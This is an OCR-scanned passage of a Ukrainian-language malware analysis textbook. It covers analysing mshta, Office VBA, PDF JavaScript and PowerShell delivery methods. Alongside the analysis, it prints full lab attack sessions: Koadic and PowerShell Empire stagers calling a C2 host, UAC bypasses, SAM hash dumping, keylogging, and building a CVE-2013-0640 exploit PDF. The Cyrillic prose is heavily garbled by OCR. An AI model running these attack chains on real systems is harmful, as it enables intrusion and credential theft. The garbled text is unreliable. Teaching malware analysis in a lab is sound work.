BipisHAOTHCS Bif wget i curl:

GET /U9HiJ HTTP/1.1

User-Agent: Wget/1.19.4 (linux-gnu)
Accept: */x*

Accept -Encoding: identity

Host: 172.16.78.149:9998
Connection: Keep-Alive

GET /U9HiJ HTTP/1.1
Host: 172.16.78.149:9998

User -Agent: curl/7.58.0
Accept: *x/*

B sakocti Bupasu majamryiite wget i curl gyra imitarii mshta.

Bukonanus kozy B uiibosiii cucremi (Windows Defender sinkiroueno, me-
TEKTY€ BUKOHAHHS B LIaM sITi):

> mshta http://172.16.78.149:9999/U9HiJ

[+] Zombie 0: Staging new connection (172.16.78.1) on Stager 0
[!] Zombie 0: Timed out.

[+] Zombie 1: Staging new connection (172.16.78.132) on Stager O
[+] Zombie 1: WINDEV2003EVAL\User @ WINDEV200O3EVAL -- Windows 10

Enterprise Evaluation
(koadic: sta/js/mshta)$ use implant/elevate/bypassuac_compdefaults
(koadic: imp/ele/bypassuac_compdefaults)$ options

NAME VALUE REQ DESCRIPTION

PAYLOAD yes run listeners for a list
of IDs

ZOMBIE ALL yes the zombie to target

(koadic: imp/ele/bypassuac_compdefaults)$ listeners
ID 1IP PORT ENDPOINT TYPE

0 172.16.78.149 9999 U9HilJ stager/js/mshta
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Use "listeners ID" to print a payload
Use "listeners -o ID" to print a listener’s options
Use "listeners -k ID" to kill a payload

(koadic: imp/ele/bypassuac_compdefaults)$ zombies

ID Ip STATUS LAST SEEN
0 172.16.78.1 Dead 2020-05-03 12:31:12
1 172.16.78.132 Alive 2020-05-03 12:32:42

Use "zombies ID" for detailed information about a session.

Use "zombies IP" for sessions on a particular host.

Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.

(koadic: imp/ele/bypassuac_compdefaults)$ set PAYLOAD O

[+] PAYLOAD => 0

(koadic: imp/ele/bypassuac_compdefaults)$ set ZOMBIE 1

[+] ZOMBIE => 1

(koadic: imp/ele/bypassuac_compdefaults)$ run

[*] Zombie 1: Job 0 (implant/elevate/bypassuac_compdefaults) created.

[+] Zombie 1: Job O (implant/elevate/bypassuac_compdefaults) completed.

[+] Zombie 2: Staging new connection (172.16.78.132) on Stager 0

[+] Zombie 2: WINDEV2003EVAL\User* @ WINDEV2003EVAL -- Windows 10
Enterprise Evaluation

(koadic: imp/ele/bypassuac_compdefaults)$ use implant/gather/
hashdump_sam

(koadic: imp/gat/hashdump_sam)$ set ZOMBIE 2

[+] ZOMBIE => 2

(koadic: imp/gat/hashdump_sam)$ run

['] It doesn’t look like you have the impacket submodule installed yet!
This module will fail if you don’t have it!

Would you like me to get it for you? y/N: y

Submodule ’impacket’ (https://github.com/CoreSecurity/impacket.git)
registered for path ’data/impacket’

Cloning into ’/home/kali/koadic/data/impacket’...

Submodule path ’data/impacket’: checked out ’
c65e3bc7c11e42492bc8152961b459b92ccb5a62’

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) created.

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) received SAM hive
(70383 bytes)

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) received SECURITY
hive (60231 bytes)

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) received SysKey
(64743 bytes)

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) decoded SAM hive (/
tmp/SAM.172.16.78.132.806d1a3d9258486a8e9f72e162197a1d)

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) decoded SECURITY hive

(/tmp/SECURITY .172.16.78.132.b18805b8bffa430d92dfe47a319eecadf)

[*] Zombie 2: Job 1 (implant/gather/hashdump_sam) decoded SysKey: 0
xc967d266da76207e33a52bf8e0152585

[+] Zombie 2: Job 1 (implant/gather/hashdump_sam) completed.

Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Dumping local SAM hashes (uid:rid:1lmhash:nthash)

Administrator :500: aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

Guest :501:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount :503:aad3b435b51404eceaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount :504:aad3b435b51404eeaad3b435b51404ee:03
a2d4e2df1e79f59cb5b30758df0daa:::

User :1001: 2ad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089¢c0:::

[*] Dumping cached domain logon information (uid:encryptedHash:
longDomain:domain)

[*] Dumping LSA Secrets

[*] DPAPI_SYSTEM

t;j NL$KM
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[*] Cleaning up...

(koadic: imp/gat/hashdump_sam)$ use exec_cmd

(koadic: imp/man/exec_cmd)$ set CMD calc

[+] CMD => calc

(koadic: imp/man/exec_cmd)$ run

[*] Zombie 1: Job 5 (implant/manage/exec_cmd) created.
[*] Zombie 2: Job 6 (implant/manage/exec_cmd) created.
(koadic: imp/man/exec_cmd)$ use implant/gather/clipboard
(koadic: imp/gat/clipboard)$ set ZOMBIE 2

[+] ZOMBIE => 2

(koadic: imp/gat/clipboard)$ run

[*] Zombie 2: Job 9 (implant/gather/clipboard) created.
[+] Zombie 2: Job 9 (implant/gather/clipboard) completed.
Clipboard contents:

mewmew was here!

[Ipoanamnizyemo koj 3aBanTaxkyBada mshta. /Iis nporo Bumiiumo JavaScri-
pt Mixk Teramu <script>, </script> moumnaoun 3 006dyckoBaHol GyHKIIT Ta
eMmysioeMo BukoHaHHsT B Google V8:

e Bceranosumo V8

$ cd

$ git clone https://chromium.googlesource.com/chromium/tools/
depot_tools.git

export PATH=/home/kali/depot_tools:$PATH

mkdir v8 && cd v8

fetch v8

cd v8

tools/dev/gm.py x64.release

@B B B P B

@

/home/kali/v8/v8/out/x64.release/d8

e 3aminumo byukiio eval(), 110 BUKOPUCTOBYETHCS JJisi BUKOHAHHS KOJLY
micssa reobdyckariii, Ha BaacHy — eval.js

function eval(s) {
console.log(s);

}

o Jleobdyckyemo HaBaHTaXKeHHS Ta BiadopMaTyeMo BUXITHUI KOJT 38 JOIO0-
Mororio js-beautify:
$ /home/kali/v8/v8/out/x64.release/d8 eval.js sample > sample.txt

$ sudo npm -g install js-beautify
$ js-beautify sample.txt > sample.js

Takum annoMm orpumano I[P meHTpy KepyBaHHs 3pa3Ky Ta iHIm JaHi KOoHdi-
rypartii:

$ cat sample.js

var KYRFAXIVFS = {};

KYRFAXIVFS.BBNZIOLUNH = new ActiveXObject("Scripting.FileSystemObject");
KYRFAXIVFS.VMWNJJQYHW = new ActiveXObject ("WScrip" + "t.Shell");

KYRFAXIVFS.URBTRQESHW = "http://172.16.78.149:9999/U9HiJ";

KYRFAXIVFS.UBLQTGWLFY = "fde1403232844f54943b2cd5d4b80012";

KYRFAXIVFS.VEMWDRPYML = "";

KYRFAXIVFS.QIKYWQFESN = "http://172.16.78.149:9999/U9HiJ?FQBO5SZ7H6X=
£de1403232844£f54943b2cd5d4b80012;DSITXSZAJ6=";

KYRFAXIVFS.VETODCKHCI = "903841415673170";

PoaristayTi MeToin 3actocoBHi He Tisbku st WScript, a it 06dyckoBanoro
JS xony B 6paysepi, Adobe PDF ta in. Kpim eval() y IIIII3 BukopucToByeTHCS
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psz inmux GyHKIiH, Glapn NoBHE BU3HaveHHsT MOXKHa 3Habith y def.js [135].
IcnyroTh TakoXK IMOBHICTIO aBTOMATHU30BAHI 3acO0M aHAJII3y — IMICOYHUIN THUITY
malware-jail [136]. a5t po3risiHyTOro NpUKIay:

$ sudo apt install npm

$ git clone https://github.com/HynekPetrak/malware-jail.git

$ cd malware-jail

$ npm install

$ node jailme.js ../sample

3 May 13:19:31 - mailware-jail, a malware sandbox ver. 0.20

3 May 13:19:31 - --c-ccmmmm oo -

3 May 13:19:31 - Arguments: ../sample

3 May 13:19:31 - Sandbox environment sequence: env/utils.js,env/eval.js,env/
function.js,env/wscript.js,env/browser.js,env/agents.js,env/other.js,env
/console.js

3 May 13:19:31 - Malware files: ../sample

3 May 13:19:31 - Execution timeout set to: 60 seconds

3 May 13:19:31 - Output file for sandbox dump: sandbox_dump_after.json

3 May 13:19:31 - Output directory for generated files: output/

3 May 13:19:31 - Download from remote server: No

3 May 13:19:31 - ==> Preparing Sandbox environment.

3 May 13:19:31 - => Executing: env/utils.js quitely

3 May 13:19:31 - => Executing: env/eval.js quitely

3 May 13:19:31 - => Executing: env/function.js quitely

3 May 13:19:31 - => Executing: env/wscript.js quitely

3 May 13:19:31 - => Executing: env/browser.js quitely

3 May 13:19:31 - => Executing: env/agents.js quitely

3 May 13:19:31 - => Executing: env/other.js quitely

3 May 13:19:31 - => Executing: env/console.js quitely

3 May 13:19:31 - Executing malware file(s).

3 May 13:19:31 - => Executing: ../sample verbosely, reporting silent catches

3 May 13:19:31 - Saving: output/.._sample

3 May 13:19:31 - Saving: output/tr_.._sample

3 May 13:19:31 - WScript.scriptfullname = (string) ’../sample’

3 May 13:19:31 - WScript.arguments = (object) ’../sample,xyz’

3 May 13:19:31 - Calling eval[1] (’var KYRFAXIVFS={};KYRFAXIVFS.BBNZIOLUNH=new

ActiveXObject ("Scripting.FileSystemObject") ; KYRFAXIVFS.VMWNJJQYHW=new
ActiveXObject ("WScrip"+"t.Shell") ; KYRFAXIVFS.URBTRQESHW="http
://172.16.78.149:9999/U9HiJ" ; KYRFAXIVFS.UBLQTGWLFY="
£fde1403232844f54943b2cd ... (truncated)’)

3 May 13:19:31 - ActiveXObject(Scripting.FileSystemObject)

3 May 13:19:31 - new Scripting.FileSystemObject [14]

3 May 13:19:31 - new DriveObject [15]1(C:)

3 May 13:19:31 - DriveObject[15](C:).name = (string) °’C:’

3 May 13:19:31 - new Collection[16]([ DriveObject {7 id: 15,7 _name: °’

DriveObject [156](C:)’,? _availablespace: ’’,7 _driveletter: 7,7

_drivetype: ’’,7 _filesystem: ’’,7 _freespace: 7,7 _isready
2.7 _path: 22,7 _rootfolder: ’’,7 _serialnumber: °’°,7

(truncated))

May 13:19:31 - Collection[16].count = (number) ’1°

May 13:19:31 - ActiveXObject (WScript.Shell)

May 13:19:31 - new WScript.Shell[17]

May 13:19:31 - GetObject (winmgmts:\\.\root\default:StdRegProv, undefined)

May 13:19:31 - new AutomationObject[18](winmgmts:\\.\root\default:

StdRegProv, undefined)

3 May 13:19:31 - >>> FIXME: AutomationObject [18] (winmgmts:\\.\root\default:
StdRegProv, undefined) [CreateKey] not defined

3 May 13:19:31 - ActiveXObject (Msxml2.ServerXMLHTTP.6.0)

3 May 13:19:31 - new MSXML2.XMLHTTP [19]

3 May 13:19:31 - MSXML2.XMLHTTP[19].onreadystatechange = (undefined)
undefined?’

3 May 13:19:31 - MSXML2.XMLHTTP[19].setTimeouts (0,0,0,0)

3 May 13:19:31 - MSXML2.XMLHTTP[19].open(POST,http://172.16.78.149:9999/U9HiJ
?FQBO5Z7H6X=fde1403232844f54943b2cd5d4b80012;DSIJTXSZAJ6=; ,false)

3 May 13:19:31 - MSXML2.XMLHTTP[19] .method = (string) ’POST’

3 May 13:19:31 - MSXML2.XMLHTTP[19].url = (string) ’http
://172.16.78.149:9999/U9HiJ?FQB05Z7H6X=fde1403232844f54943b2cd5d4b80012;
DSJTXSZAJ6=; "’

3 May 13:19:31 - MSXML2.XMLHTTP[19].async = (boolean) ’false’

May 13:19:31 - MSXML2.XMLHTTP [19].setRequestHeader (errno, -1)

3 May 13:19:31 - MSXML2.XMLHTTP[19].setRequestHeader (errname, TypeError)

W wwww

w
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3 May 13:19:31 - MSXML2.XMLHTTP[19].setRequestHeader (errdesc, Unknown)

3 May 13:19:31 - MSXML2.XMLHTTP[19].setRequestHeader (Content -Type,
application/octet-stream)

3 May 13:19:31 - FIXME: WScript.Shell[17].RegRead (HKLM\SYSTEM\
CurrentControlSet\Control\Nls\CodePage\ACP) - unknown key

3 May 13:19:31 - WScript.Shell[17].RegRead (HKLM\SYSTEM\CurrentControlSet\
Control\Nls\CodePage\ACP) => undefined

3 May 13:19:31 - MSXML2.XMLHTTP[19].setRequestHeader (encoder, undefined)

3 May 13:19:31 - FIXME: WScript.Shell[17].RegRead (HKLM\SYSTEM\
CurrentControlSet\Control\Nls\CodePage\OEMCP) - unknown key

3 May 13:19:31 - WScript.Shell[17].RegRead (HKLM\SYSTEM\CurrentControlSet\
Control\Nls\CodePage\OEMCP) => undefined

3 May 13:19:31 - MSXML2.XMLHTTP[19].setRequestHeader (shellchcp, undefined)

3 May 13:19:31 - MSXML2.XMLHTTP[19].send(reg.CreateKey is not a function)

3 May 13:19:31 - MSXML2.XMLHTTP[19] Not sending data, if you want to interact

with remote server, set --down

3 May 13:19:31 - MSXML2.XMLHTTP[19].responsebody = (string) °’MZDumy conntent,
use --down to download the real payload.?Dumy conntent, use --down to
download the real payload.?Dumy conntent, use --down to download the
real payload.?Dumy conntent, use --down to download the real payload.?
Dumy conntent, use --dow ... (truncated)’

w

May 13:19:31 - MSXML2.XMLHTTP[19].status = (number) ’200°

3 May 13:19:31 - MSXML2.XMLHTTP[19].readystate = (number) 4’

3 May 13:19:31 - MSXML2.XMLHTTP[19].onreadystatechange.get() => (undefined) °’
undefined’

3 May 13:19:31 - MSXML2.XMLHTTP [19].send(reg.CreateKey is not a function)
finished

3 May 13:19:31 - ==> Cleaning up sandbox.

3 May 13:19:31 - ==> Script execution finished, dumping sandbox environment
to a file.

3 May 13:19:31 - The sandbox context has been saved to: sandbox_dump_after.
json

3 May 13:19:31 - Saving: output/eval_1.js

3 May 13:19:31 - Saving: output/urls. json

$ cat output/urls.json

{
"url": "http://172.16.78.149:9999/U9HiJ?FQBOSZ7H6X=
fde1403232844f54943b2cd5d4b80012;DSJTXSZAJ6=;",
"method": "POST",
"request_headers": "undefined"
}

ne 172.16.78.149:9999 — IP aapeca Ta mopT IE€HTPY KepyBaHHS.

7.3.4 MS Office VBA

Oun 3 HafOLIBII TomUpeHnx MeToAiB gocrasku IIT13 — dpimmurosi smern 3 go-
kymenramu Microsoft Office (y BriazeHHsx a6o 3a nocwianHsM). PosrisiHeMo
MEeTO/IW aHAJIi3y KOJIy IIKIIUBUX JOKYMEHTIB Ha MPUKJIAl PO3CUIKU 3 BUKOPH-
CTaHHSAM COIiaJbHOI iHxKenepil na Temy COVID-19 [137]. Bruazgenuit joKymMeHT
“COVID 19 Relief.doc” mocrynunii jis 3aBanraxenns [138]:

$ 7z x -pinfected COVID\ 19\ Relief.doc.zip

$ hashdeep -b *.doc

%%%% HASHDEEP -1.0

%%h%% size ,md5,sha256,filename

103936 ,4£7dd25597c£3882a7112769710a54dd ,

cab9f8e35bad327b2148a9dada3fce71e28aac117£89a28425e8f4da779f00b9 ,COVID
19 Relief.doc

JokyMeHT 3axuIneHo mnapoJieMm 1234, 1o BKa3aHO B (PIMMMHTOBOMY JIUCTI.
Ile yckiragnioe anasi3z aBroMaTUIHUMHA 3acobamu 3axucty. Posmudpyemo m10-
KyMeHT 3a gonomoror msoffcrypto-tool [139] abo ckopucraemocs oletools [140]:

$ git clone https://github.com/nolze/msoffcrypto-tool
$ cd msoffcrypto-tool
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$ sudo python3 setup.py install
$ msoffcrypto-tool -p 1234 COVID\ 19\ Relief.doc out.docx

sudo pip3 install oletools
olevba -p 1234 COVID\ 19\ Relief.doc

@ &

[Ipoanasizyemo orpumanuii 3a jgornomoroio oletools BOymoBanuit kox VBA.
VY dyuxnii Document  Open():

Set tryToRun = CreateObject(Mid(Collect.WhatDo.Caption, 14, 17))
tryToRun.ShellExecute (someStr)

e Mid(Collect.WhatDo.Caption, 14, 17) noseprae "Shell. Application". ¥V
UserForm Initialize() crBoproerses daiin 3 JScript HaBaHTaKeHHAM:

Dim folderP As String

folderP = Environ(Collect.Where)
folderP = folderP & "\" & Rnd
folderP = folderP & ". jse"

Collect.HowName.Text = folderP

Open folderP For Output As #5
Print #5, strData

Close #5

Came HaBaHTaykeHHs 30eperkeHo B morori Data/o:

VBA FORM STRING IN ’word/vbaProject.bin’ - OLE stream: ’Data/o’

V pasi ycnixy 3aBaHTasKyeThcs BUKOHyBanuit daiin PE — 3pa3zox Zloader!.

Kpim anamisy BUXITHUX KOIIB CKPHUITIB, IO BOYIOBYIOTHCA y JIOKYMEHT i
00pobiTIotoThCs olevba, MoOXke 3aCTOCOBYBATHCH 1 NPAMUI aHAI3 MIPOMiXKHOTO
Komy 3a gornomoror pcodedmp [141]:

$ sudo pip3 install -U pcodedmp
$ pcodedmp out.docx

Cuiiy 3a3HaYMTH, CTBOPEHMIT Ha IOIEePeIHIX Kpokax out.docx Bijpi3HSAETHCs
dopmarom Bix opurinajbHOoro gokymenta — OOXML nporu OLE2. [epmuit €
Zip apxisoM 3 XML g1g onucy KOMIIOHEHTIB JIOKYMEHTA:

$ 7z x out.docx

$ tree -Fc --dirsfirst --charset=ascii
|-- customXml/
|-- _rels/

|

| | ‘-- iteml.xml.rels
| |-- iteml.zxml

| ‘-- itemProps1.xml
|-- _rels/

| -- docProps/

| |-- core.xml

| ‘-~ app.zxml

| -- word/

| | -- media/

| | ‘-- imagel.png
| |-- _rels/

| | | -- document.xml.rels
| | ¢-- vbaProject.bin.rels
| |-- theme/

| | ‘-- themel.xml
| | -- document.zxml

| | -- endnotes.xml

| |-- fontTable.xml
| |-- footnotes.xml
| |-- settings.xml

ITakox Bimommit sx SILENTNIGHT, MD5 9e616a1757cf1d40689f34d867dd742e, mocTy-
mHUR JUisa aHasti3y Ha VirusShare.
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Document created in earlier
version of Microsoft Office Word

To view this content, please click "Enable Editing' from the yellow bar
and then click "Enable Content"

Windows
Protected by: Defender

Puc. 7.3: Ilpumanka mist akruBaril Makpocis gokymenty MS Word

| |-- vbaData.xml

| | -- vbaProject.bin
| |-- styles.xml

| ‘-- webSettings.zxml
|-- [Content_Types].xml
¢-- out.docx

Tax, word/media/imagel.png mMicTuTh 300paKeHH-IPUMAHKY, [0 MAE 3MY-
CUTH KOPHCTYBa4a JIO3BOJIMTH BUKOHAHHSI Makpocis (puc. 7.3).

7.3.5 Adobe PDF JS

Honynsapunit nesikuit yac Tomy Gopmar JOKYMEHTIB JJIsI JIOCTABKHU IIKiIJTHBO-
ro HapaunTaxkenHsi PDF 36epirae akryasbaicTs 1 goci. PosrisHemo Ha npukiaii
exciuoity CVE-2013-0640/1 [142]. PosropreMo KOHCTPYKTOD Ta MiZArOTYEMO Ha-
BAHTAXKEHHSI:

1. ¥ Windows 10 Bcranosumo Ruby 1.9 (rubyinstaller-1.9.3-p385.exe), Ta
3aJI€2KHOCTI:

> gem install metasm
> gem install origami -v "=1.2.5"

2. Kopuche nHaBaHTaxkeHHs1 hello.exe:

$ cat > hello.asm <<EOF
include ’win32ax.inc’

.code

main:
invoke MessageBox ,NULL,’Mew-mew-mew!’,’Kitty says’,MB_OK
invoke ExitProcess, O

.end main

EOF

$ wine fasmw.exe hello.asm

$ 1s -1 hello.exe

-rwxr-xr-x 1 user user 1536 May 4 07:28 hello.exe

3. CrBopuMO 3pa30K:

> C:\Ruby193\bin\ruby xfa_MAGIC.rb -p hello.exe -o sample.pdf
[+] Loading package

[+] Embedding user executable (size: 1536)

[+] Encoding payload (key: 68 kii: 27)

[+] Generating file: sample.pdf
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ITpoananisyemo oTpumanuii 3pa3ok 3a monomorowo pdfid, pdf-parser [143]:

$ python /opt/DidierStevensSuite/pdfid.py sample.pdf
PDFiD 0.2.7 sample.pdf
PDF Header: %PDF-1.2
obj

endobj

stream

endstream

xref

trailer

startxref

/Page

/Encrypt

/0bjStm

/38

/JavaScript

/AA

/0OpenAction
/AcroForm
/JBIG2Decode
/RichMedia

/Launch
/EmbeddedFile

/XFA

/URI

/Colors > 2724

OO0OFHR OO0 FOREFOORKFEEFELNDNOU O

$ python /opt/DidierStevensSuite/pdf-parser.py sample.pdf
PDF Comment ’%PDF-1.2\r\n’

obj 1 0
Type: /Catalog
Referencing: 2 0O R, 4 0O R, 5 0 R

<<
/Pages 2 0 R
/AcroForm
<<
/XFA 4 O R
>>
/ZZ2Z
<<
/EEE 5 0 R
>>
/OpenAction
<<
/JS ’(function sHOGG...

Bauumo, mo jgokyment mictuth o6pobuuk OpenAction, mpu BigkpurTi 3a-
yckaerbes JS ckpunt. Bugiiuru ckpunt MoxkHa 3a goromoroio Origami [144]:

$ sudo gem install origami

$ pdfextract sample.pdf

$ 1s -1 sample.dump/scripts/

-rw-r--r-- 1 user user 288754 May 4 07:44 script_1088526709560283708. js

JS micrurh GyHKIIT quHaMmigrol modbymosu ROP mocitigosrocti, heap spray,
3aBaHTaXKyBaHUil BUKOHyBauuii daiin (6imep BuIle Juine 3aMiHIOE HOro Ha 3a-
Januii KopucryBadeM, jauB. uxinai koau xfa_ MAGIC.rb). ITigrpumysani Bepcil
Adobe Acrobat Reader:

$ js-beautify script_1088526709560283708.js | grep sIIESTRI | grep ’{}’
sIIESTRI = {};

sIIESTRI[°11.001°] = {};

sIIESTRI[’11°] = {};

sIIESTRI[’10.105°] = {};

sIIESTRI[’10.104SPEC’] = {};

sIIESTRI[’10.104°] = {};

sIIESTRI[’10.103°] = {};

sIIESTRI[’10.102°] = {};

sIIESTRI[’10.1°] = {};
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sIIESTRI[’9.503°] = {};
sIIESTRI[’9.502°] = {};
sIIESTRI[’9.502SPEC’] = {};
sIIESTRI[’9.5°] = {};

Binbpm geranbHO 1po MeTonM aHasi3y Ta eKCIIyaTarllil Ji3HaE€MOCh B Kypci 3
aHaJji3y OIHApHUX BPA3JINBOCTEN.

VY Bunasky 3axurienoro naposeM PDF| posmudpysaru JoKyMeHT MOXKHA 32
nmonomoroo QPDF [145]. g anasisy TeKCTOBOrO BMICTY MOXKe OyTU KOPUCHUM
nonepe/He KOHBepTyBanHd y Tekct, pdfminer pdf2txt [146].

7.3.6 PowerShell

PowerShell akrusHO 3acTocoByerhest Ha erari jocrasku 1IIT13 ta mocrekcrrya-
Tarii. Jlerkicts 0bdyckariil, HasgBHICTb YHIBEPCAJILHUX METO/IB IMPOTHU/IIT aHTH-
Bipycrnomy 3axucry (meitrpasizanis AMSI, cm. npuknamgun y MITRE ATT&CK
G0010 Turla) 3ymosusu nomnyssipaicTs Kommiekcis Tuiy PowerShell Empire [147]
Ta, OKpeMuX MoAyJIiB powercat [148], PowerSploit [149] ra moximmnux [150]. Pos-
risiHeMo aHantis PowerShell kony Ha mpuknazi 3aBantaxkysada Empire 3 [151]:

1. Posropuemo akTyaJibHy Bepciio miaTdOpMH Ta 3T€HEPYEMO 3aBAHTAXKY-
Ba4:

$ git clone https://github.com/BC-SECURITY/Empire.git
$ cd Empire
$ sudo ./setup/install.sh

$ sudo ./empire

(Empire) > uselistener http

(Empire: listeners/http) > set Name kitty
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > execute
(Empire: listeners/http) > back

(Empire) > usestager windows/launcher_bat

(Empire: stager/windows/launcher_bat) > set Listener kitty
(Empire: stager/windows/launcher_bat) > set Obfuscate True
(Empire: stager/windows/launcher_bat) > generate

[*] Stager output written out to: /tmp/launcher.bat

2. BamycruMmo 3pa3oK B 1ibBiit cucremi (3 Bukiouennm Windows Defender,
JIETEKTYE 3aBAHTAXKYBAd B T.4. y IaM'dTi):

[*] Sending POWERSHELL stager (stage 1) to 172.16.78.132

[*] New agent A73VRTCP checked in

[+] Initial agent A73VRTCP from 172.16.78.132 now active (Slack)
[*] Sending agent (stage 2) to A73VRTCP at 172.16.78.132

(Empire: agents) > interact A73VRTCP

(Empire: A73VRTCP) > usemodule privesc/bypassuac_fodhelper

(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener kitty

(Empire: powershell/privesc/bypassuac_fodhelper) > execute

[>] Module is not opsec safe, run? [y/N] y

[*] Tasked A73VRTCP to run TASK_CMD_JOB

[*] Agent A73VRTCP tasked with task ID 1

[*] Tasked agent A73VRTCP to run module powershell/privesc/
bypassuac_fodhelper

(Empire: powershell/privesc/bypassuac_fodhelper) >

Job started: TBK64Y

[*] Sending POWERSHELL stager (stage 1) to 172.16.78.132

[*] New agent KHRZWYBG checked in

[+] Initial agent KHRZWYBG from 172.16.78.132 now active (Slack)
[*] Sending agent (stage 2) to KHRZWYBG at 172.16.78.132
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(Empire) > agents

[*] Active agents:

Name La Internal IP Machine Name Username
Process PID Delay Last Seen Listener
A73VRTCP ps 172.16.78.132 WINDEV2003EVAL WINDEV2003EVAL\User
powershell 1696 5/0.0 2020-05-04 16:24:29 kitty
KHRZWYBG ps 172.16.78.132 WINDEV2003EVAL *WINDEV2003EVAL\User
powershell 4112 5/0.0 2020-05-04 16:24:30 kitty

(Empire: agents) > interact KHRZWYBG
(Empire: KHRZWYBG) > info

[*] Agent info:

id 2
session_id KHRZWYBG
listener kitty

name KHRZWYBG
language powershell
language_version 5

delay 5

jitter 0.0

172.16.78.132
172.16.78.132

external_ip
internal_ip

username WINDEV2003EVAL\User
high_integrity 1

process_name powershell
process_id 4112

hostname WINDEV2003EVAL

os_details
Evaluation
session_key
nonce
checkin_time
lastseen_time
parent
children
servers
profile

Microsoft Windows 10 Enterprise

NbY |46\ ¢ -ct3Jh9<vEi&L$wG:qUC8+(DE
4030438359198880

2020-05-04 16:22:25

2020-05-04 16:24:35

None

None

None

/admin/get .php,/news.php,/login/process

.phplMozilla/5.0 (Windows NT

kill_date
working_hours
lost_limit
taskings

6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko

60

(Empire: KHRZWYBG) > usemodule credentials/powerdump

(Empire: powershell/credentials/powerdump) > execute

[*] Tasked KHRZWYBG to run TASK_CMD_JOB

[*] Agent KHRZWYBG tasked with task ID 2

[*] Tasked agent KHRZWYBG to run module powershell/credentials/
powerdump

(Empire: powershell/credentials/powerdump) >

Job started: 8P2AT4

Administrator :500: aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

Guest :501:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount :503:aad3b435b51404ecaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089¢c0:::

WDAGUtilityAccount :504:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

User :1001: 2ad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::

(Empire: powershell/credentials/powerdump) > back

(Empire: KHRZWYBG) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run
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[*] Tasked KHRZWYBG to run TASK_CMD_JOB

[*] Agent KHRZWYBG tasked with task ID 3

[*] Tasked agent KHRZWYBG to run module powershell/collection/keylogger

(Empire: powershell/collection/keylogger) >

Job started: BKWDSM

{C:\test} - Far 3.0.5577 x64 - 04/05/2020:13:26:10:40

mewmew

[SpaceBar]

was

[SpaceBar]

here

[Enter]

(Empire: powershell/collection/keylogger) > back

(Empire: KHRZWYBG) > shell calc

[*] Tasked KHRZWYBG to run TASK_SHELL

[*] Agent KHRZWYBG tasked with task ID 4

..Command execution completed.

(Empire: KHRZWYBG) > usemodule collection/screenshot

(Empire: powershell/collection/screenshot) > run

[*] Tasked KHRZWYBG to run TASK_CMD_WAIT_SAVE

[*] Agent KHRZWYBG tasked with task ID 5

[*] Tasked agent KHRZWYBG to run module powershell/collection/
screenshot

[+] File screenshot/WINDEV2003EVAL_2020-05-04_16-28-39.png from
KHRZWYBG saved

Output saved to ./downloads/KHRZWYBG/screenshot/WINDEV2003EVAL_2020
-05-04_16-28-39.png

Posristremo 3pasok launcher.bat. Bin 3amyckae powershell 3 base64 zakomo-
BaHUM HaBaHTaKCHHAM Ta BHUIAJIAE BJIACHHIA (baﬁﬂ:

Q@echo off
start /b powershell -noP -sta -w 1 -enc JghoA...AKQA=
start /b "" cmd /c del "}%~f0"&exit /Db

HapanTaxkennst o6gyckoBane 3a jornomoror Invoke-Obfuscation:

&C>sv>) 13v7  ([tYpE] ("{8}{9}{12}{1}{2}{11}{4}{10}{0}{3}{7}{5}{6}" -f ’NaRY[
StRINg,SYS...

s meobdyckarii MOYKHA BUKOPUCTATH IPsIME IHCTPYMEHTYBAHHS CKPUIITA,
Get-Variable ta Write-Output 3minnux micias meobdyckaril. Jvnamianauit ana-
Ji3 rocTyHui B ToMy yncyi 6e3 Windows — Binkpuro Buxinauii koj PowerShell
Core [152], mo miarpumye Linux Ta MacOS. Icayrors 3acobun aBromarusarii i-
CTPYMEHTYBaHHs Ta aHaJi3y pesyiabraris — taki gk PSDecode [153]. B namomy
BUIAIKY 3aCTOCYBAHHSI:

sudo apt install powershell

git clone https://github.com/R3MRUM/PSDecode

cd PSDecode

mkdir -p ~/.local/share/powershell/Modules/PSDecode

cp PSDecode.psml ~/.local/share/powershell/Modules/PSDecode

@ H B P B

$ pwsh
PS /root/ps> PSDecode -beautify -dump -verbose .\1.psl

Saving layers to /tmp/

Writing /tmp/5b508d9f8b028e652a095705204b9864 _layer_1.txt
Writing /tmp/5b508d9f8b028e652a095705204b9864 _layer_2.txt
Writing /tmp/5b508d9f8b028e652a095705204b9864 _layer_3.txt

$ sed ’s/;/;\n/g;s/“//g’ /tmp/5b508d9f8b028e652a095705204b9864_layer_2.txt
${Ser}=$( ( gi ’varIable:hdv2’).VaLUe::"UNiCODE".GETstRInG( (.’geT-
VarIAbLE’> 28p -VALueo )::’FroMBAse64StRiNg’.Invoke (’

aABOAHQACAA6AC8ALwAXADcAMgAuADEANgAuADcAOAAuADEANAASADOAOAA4ADgAOAA=")))

${T}=’/news.php’;
${b3904}.HEAderS.Add.Invoke (’User-Agent’,${U});
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= Local Group Policy Editer - O X

Eile Action View Help

e nm = dml T
| Windows Installer ~ || Setting State Comment
- Windows Logen OIpt\ons 24 Turn on Module Logging Enabled Mo
_| Windows Media Digital Rights Management
| Windows Media Player
| Windows Messenger
| Windows Mobility Center
